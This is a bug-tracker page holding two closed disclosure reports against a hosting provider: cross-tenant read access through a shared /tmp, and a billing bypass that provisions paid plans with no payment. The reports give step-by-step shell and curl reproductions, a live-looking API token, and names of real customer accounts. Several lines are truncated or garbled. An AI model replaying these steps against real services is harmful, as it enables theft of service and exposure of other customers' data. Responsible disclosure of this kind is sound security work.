All Projects

ID Status Summary Opened by
 508 Closed Shared world-readable /tmp across tenants on the shared ...hardikdevaliya7 Task Description

Summary

alwaysdata's shared SSH gateway (ssh2, which serves every ssh-[account].alwaysdata.net alias) and shared web server (http22, which runs every customer's PHP site) each expose a single world-readable /tmp directory to all tenants, with no per-account namespace. /tmp is drwxrwxrwt (1777, sticky): the sticky bit prevents a tenant from deleting another tenant's files, but it does not prevent reading them. Any file a customer writes to /tmp with the default 0644 permissions is readable by every other customer on that host.

Confirmed with two self-owned, unrelated alwaysdata accounts (two separate customer identities, different UIDs, different account names): a canary written by account A is readable by account B, a different customer.

Affected hosts (both in scope)

- ssh-bbtestacctalfa.alwaysdata.net / ssh-bbtestacctbravo.alwaysdata.net — both resolve to the same shared ssh2 box; /tmp is shared across all customers on it. (ssh://ssh-[account].alwaysdata.net is explicitly listed in scope.)
- The web server http22 (reached via any customer's *.alwaysdata.net site) has a separate but equally shared /tmp.

Reproduction — SSH (primary, on the explicitly-listed ssh-[account] host)

Two self-owned accounts:
- Account A: bbtestacctalfa (UID 550359), SSH host ssh-bbtestacctalfa.alwaysdata.net
- Account B: bbtestacctbravo (UID 550366, a separate customer), SSH host ssh-bbtestacctbravo.alwaysdata.net

Step 1 — A writes a marker to /tmp on its own SSH host:

$ ssh bbtestacctalfa@ssh-bbtestacctalfa.alwaysdata.net \

"echo -n 'adpoc-tenantA-276c154e73ef' > /tmp/adpoc_a_marker.txt; chmod 644 /tmp/adpoc_a_marker.txt; ls -l /tmp/adpoc_a_marker.txt; id; hostname"

(bbtestacctalfa@ssh-bbtestacctalfa.alwaysdata.net) Password:
-rw-r–r– 1 bbtestacctalfa bbtestacctalfa 26 Sep 26 15:14 /tmp/adpoc_a_marker.txt
uid=550359(bbtestacctalfa) gid=504127(bbtestacctalfa) groups=504127(bbtestacctalfa)
ssh2

Step 2 — B (different customer, different SSH host) reads A's marker from /tmp:

$ ssh bbtestacctbravo@ssh-bbtestacctbravo.alwaysdata.net \

"cat /tmp/adpoc_a_marker.txt; id; hostname; ls -l /tmp/adpoc_a_marker.txt"

(bbtestacctbravo@ssh-bbtestacctbravo.alwaysdata.net) Password:
adpoc-tenantA-276c154e73ef
uid=550366(bbtestacctbravo) gid=504133(bbtestacctbravo) groups=504133(bbtestacctbravo)
ssh2
-rw-r–r– 1 bbtestacctalfa bbtestacctalfa 26 Sep 26 15:14 /tmp/adpoc_a_marker.txt

B (UID 550366) successfully read a file owned by bbtestacctalfa (UID 550359) from /tmp. Both ssh-[account] hosts resolve to the same ssh2 box; /tmp is not namespaced per customer.

Step 3 — negative control (B cannot tamper with A's file):

$ ssh bbtestacctbravo@ssh-bbtestacctbravo.alwaysdata.net \

"rm /tmp/adpoc_a_marker.txt 2>&1; echo 'TAMPER' > /tmp/adpoc_a_marker.txt 2>&1; cat /tmp/adpoc_a_marker.txt"

rm: cannot remove '/tmp/adpoc_a_marker.txt': Operation not permitted
bash: /tmp/adpoc_a_marker.txt: Permission denied
adpoc-tenantA-276c154e73ef

The sticky bit confines this to a read-only cross-tenant disclosure (no delete, no overwrite).

Reproduction — web server (secondary)

The same issue exists on the shared web server http22. Two PHP files were placed on the two accounts' sites (via SSH): https://bbtestacctalfa.alwaysdata.net/poc_writer.php (account A) writes a marker to /tmp on http22; https://bbtestacctbravo.alwaysdata.net/poc_reader.php (account B, separate customer) reads /tmp on http22 and prints the result.

Request 1 (as A, writes the marker):
GET /poc_writer.php HTTP/1.1
Host: bbtestacctalfa.alwaysdata.net
Response:
marker='adpoc-tenantA-web-276c154e73ef' written by bbtestacctalfa uid=550359 on http22

Request 2 (as B, separate customer, reads A's marker from /tmp):
GET /poc_reader.php HTTP/1.1
Host: bbtestacctbravo.alwaysdata.net
Response:
reader=bbtestacctbravo uid=550366 host=http22
read_from_tmp=FOUND: adpoc-tenantA-web-276c154e73ef

A file written to /tmp by account A's PHP (UID 550359) is read back by account B's PHP (UID 550366, different customer) on the same shared web server.

Exposure extent

ls -la /tmp on ssh2 shows approximately 308 customer-owned files, of which roughly 187 are world-readable (0644), owned by many distinct alwaysdata customer accounts (for example slientstress, bkrmshtaq, edusync, axora-core, ksiiprn, madprojet, kodmai, proxy-iptv, passionbooking360, takervps, cacar, callmoon142). Observed file types include Python scripts (.py, up to 199 KB), SQL schema dumps (.sql), text files, and images.

I did not read the contents of any file owned by another customer (only listed filenames and owners as evidence of exposure), in line with the program's "use test accounts only / do not touch other customers' data" rule. The canary used for confirmation was written and read between my own two accounts.

Impact

- A customer can read any other customer's world-readable files in /tmp on the shared SSH gateway and web server — application source, scratch files, SQL dumps, and any secret a customer application writes directly to /tmp.
- Read-only (the sticky bit prevents deletion/overwrite of others' files).
- Bounded by a mitigation that should be noted: alwaysdata sets TMPDIR to a per-account directory (/home/<account>/admin/tmp) for SSH sessions, and PHP session.save_path, upload_tmp_dir, and sys_temp_dir are likewise per-account. So PHP session files and upload-temp files are not exposed (verified: a PHP session on one site wrote to /home/<account>/admin/tmp, not /tmp; glob('/tmp/sess_*') returned nothing). Customers who rely on $TMPDIR or default PHP temp handling are not affected. The exposure is limited to files written directly to /tmp (a hardcoded /tmp path, or a tool that ignores $TMPDIR) at default 0644.
- No alwaysdata-platform-owned secret was found in /tmp: all root/system-owned files in /tmp are 0700/0640 (not world-readable). The readable files are exclusively customer-account-owned.

Root cause / fix

The shared multi-tenant SSH gateway and web server expose a single /tmp to all tenants with no per-account namespace. Recommended fixes (platform-side):
- Per-account /tmp namespace on shared hosts (e.g. PrivateTmp=yes for systemd-managed customer processes, or a mount-namespaced per-tenant /tmp), or
- A per-account open_basedir that excludes the shared /tmp and redirects temp writes to the already-per-account admin/tmp, or
- The per-account TMPDIR/PHP-temp isolation already in place shows the intent to isolate temp files per customer; extending that default so that direct /tmp writes are also namespaced (or making the shared /tmp 0770 + per-account group) would close the read channel.

Scope note

The exposure is customer application data. The scope excludes "sites/third-party apps hosted by customers unless the flaw exposes customer data and stems from alwaysdata's own platform." The shared, un-namespaced /tmp is alwaysdata's platform configuration on a shared multi-tenant host, and it does expose customer data — so the exception applies. It is reachable via the explicitly-listed ssh://ssh-[account].alwaysdata.net host, which makes it unambiguous that this is a platform-level isolation gap rather than a per-customer app issue.

 505 Closed Paid hosting plan (up to X-Large, €165/mo) provisioned  ...hardikdevaliya7 Task Description

Hello alwaysdata security team,

I'd like to report a billing/business-logic bypass in the customer administration panel (admin.alwaysdata.com) that allows a regular Free-tier customer to provision paid hosting plans — up to and including the X-Large plan (€165/month) — with full paid-tier resources activated, while having a €0.00 prepaid balance, no payment method on file, and no invoice generated. The paid resources (verified: 500GB disk, 8GB RAM, 8 CPU for X-Large) are usable immediately.

I tested this only against my own self-owned test accounts (free-tier, self-signed-up). No other customer's data was accessed and no real payment was attempted.

Summary

Your published billing model is prepaid: "Every invoice issued debits your prepaid alwaysdata account for the amount owed. You need to credit this prepaid account to cover your debits." (help.alwaysdata.com/en/docs/admin-billing/billing/payment-methods/), with an optional direct-debit alternative.

In the "create a new hosting account" flow (admin.alwaysdata.com/admin/account/add/), choosing a paid plan (product = Small/Medium/Large/X-Large) and submitting the form returns HTTP 302 → /subscription/ and provisions the account ACTIVE immediately. There is no payment page, no card/payment-method prompt, and no invoice at order time — even when the prepaid balance is €0.00 and no payment method is registered. The full paid-tier resource quota is actually allocated and usable.

This means a regular login can repeat the request to create unlimited paid-tier hosting accounts (up to X-Large) for free.

Affected endpoint

POST https://admin.alwaysdata.com/admin/account/add/ Authenticated (regular Free-tier customer session cookie + CSRF token).

Steps to reproduce

Prerequisite: a self-signed-up Free-tier account (no payment method on file, €0 balance). All actions performed from my own test login (hardikdevaliya7+adtest.a@gmail.com, account name "bbtestacctalfa").

Step 1 — confirm starting state (€0, no card):
curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No transaction'
# → €0.00 , No transaction

Step 2 — get a fresh CSRF token:
curl -s -b jar.txt -c jar.txt "https://admin.alwaysdata.com/admin/account/add/" -o add.html
CSRF=$(grep -oE 'name="csrfmiddlewaretoken" value="[^"]*"' add.html | head -1 | grep -oE 'value="[^"]*"' | sed 's/value=";s/"')

Step 3 — the vulnerable request: create a PAID X-Large account with no payment:
curl -i -b jar.txt -c jar.txt \

  1. d "csrfmiddlewaretoken=$CSRF" \
  2. -data-urlencode "name=bbtestxla" \
  3. -data-urlencode "password=XlTest#2026Qzx" \
  4. d "product=2011" -d "period=1mo" -d "location=datacenter_3" \
  5. d "contract_28=on" -d "contract_36=on" -d "submit=Submit" \

"https://admin.alwaysdata.com/admin/account/add/"
Observed result: HTTP/2 302, location: /subscription/ — no payment page, no card prompt,ctivated.

Step 4 — verify the paid resources are actually granted (not just a label), via the publ
TOKEN=7463e74f484f4e2698fb8db108908de7
# API auth: HTTP Basic, key as username, empty password, account scope in username
curl -s –user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/subscription/"
# returns the new subscription:
# id=522516, product=/v1/product/2011/ (X-Large), price=165.00, period=1mo,
# object=/v1/account/502176/, date_expiry=2026-10-25, active

curl -s –user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/account/5 # → {"id":502176,"name":"bbtestxla","product":{"href":"/v1/product/2011/"},…}

Switching the active account to bbtestxla and opening /account/usage/ shows the real quota allocated:
- Disk: 500GB, Processor (CPU): 8 CPU, Memory (RAM): 8GB — all 100% available.
The panel is fully functional on the new account (/database/, /ftp/, /ssh/, /site/ all return 200).

The same was reproduced for the Small plan (product=2008, €6/month): subscription 522507, account 502167, quota verified 50GB / 1GB / 1 CPU.

Step 5 — confirm no payment / no invoice exists after provisioning the paid accounts:
curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No tran
# → €0.00 , No transaction (still zero, no invoice, no payment method)

Product codes (from the add-account form)

┌──────┬─────────┬────────────────────────┬──────────────┐
│ code │ plan │ resources │ price │
├──────┼─────────┼────────────────────────┼──────────────┤
│ 2012 │ Free │ 1GB / 256MB / 0.25 CPU │ €0 │
├──────┼─────────┼────────────────────────┼──────────────┤
│ 2008 │ Small │ 50GB / 1GB / 1 CPU │ €6 / month │
├──────┼─────────┼────────────────────────┼──────────────┤
│ 2009 │ Medium │ 100GB / 2GB / 2 CPU │ — │
├──────┼─────────┼────────────────────────┼──────────────┤
│ 2010 │ Large │ 200GB / 4GB / 4 CPU │ — │
├──────┼─────────┼────────────────────────┼──────────────┤
│ 2011 │ X-Large │ 500GB / 8GB / 8 CPU │ €165 / month │
└──────┴─────────┴────────────────────────┴──────────────┘

Impact

- A regular Free-tier login can create unlimited paid-tier hosting accounts (up to X-Large: 500GB / 8GB RAM / 8 CPU each) activated with no payment and no payment method on file.
- Free paid-tier compute/storage at scale, bypassing your prepaid billing model entirelyimmediately usable (databases, sites, SSH, FTP, etc.).

What I tested and ruled out

- This is not an IDOR / missing-ownership-check: cross-account access on both the admin waysdata.com) is properly scoped (foreign objects return 404, the API's customer=parameter returns "Invalid user" without granted permission). I swept 8+ resource families on both surfaces.
- The exploitation requires the attacker to be a logged-in customer (free self-signup).

Open caveat (stated honestly)

I could not wait until the 1-month renewal (2026-10-25) to see whether alwaysdata generaal and suspends the account if unpaid. The PoC stands regardless — paid resources aredelivered ACTIVE at order time with €0 balance, no card, and no invoice. If the intended design is post-paid (invoice at renewal), that appears to contradict your own published prepaid billing model; either
way, delivering paid-tier resources with no upfront payment and no payment method is the

Live PoC accounts (kept active for verification)

All under login hardikdevaliya7+adtest.a@gmail.com, billing €0, no payment method:
- bbtestsmalla — account id 502167, Small €6/mo, subscription 522507, expiry 2026-10-25
- bbtestxla — account id 502176, X-Large €165/mo, subscription 522516, expiry 2026-10-25

Please feel free to inspect or suspend these. Let me know if you'd like me to delete theence.

Evidence

I can provide on request:
- Full curl command list for every step.
- Screenshots of: the subscription page (Free + Small + X-Large all active), the billing), the X-Large /account/usage/ (500GB/8GB/8CPU), and the add-account form showing the paid plans selectable.
- Burp Repeater request/response pairs.

Please let me know if you can reproduce, and your assessment of severity. I have not dis will wait for your reply / a patch before any publication, per your policy.

Thank you,
hardikdevaliya7@gmail.com

Showing tasks 1 - 2 of 2 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing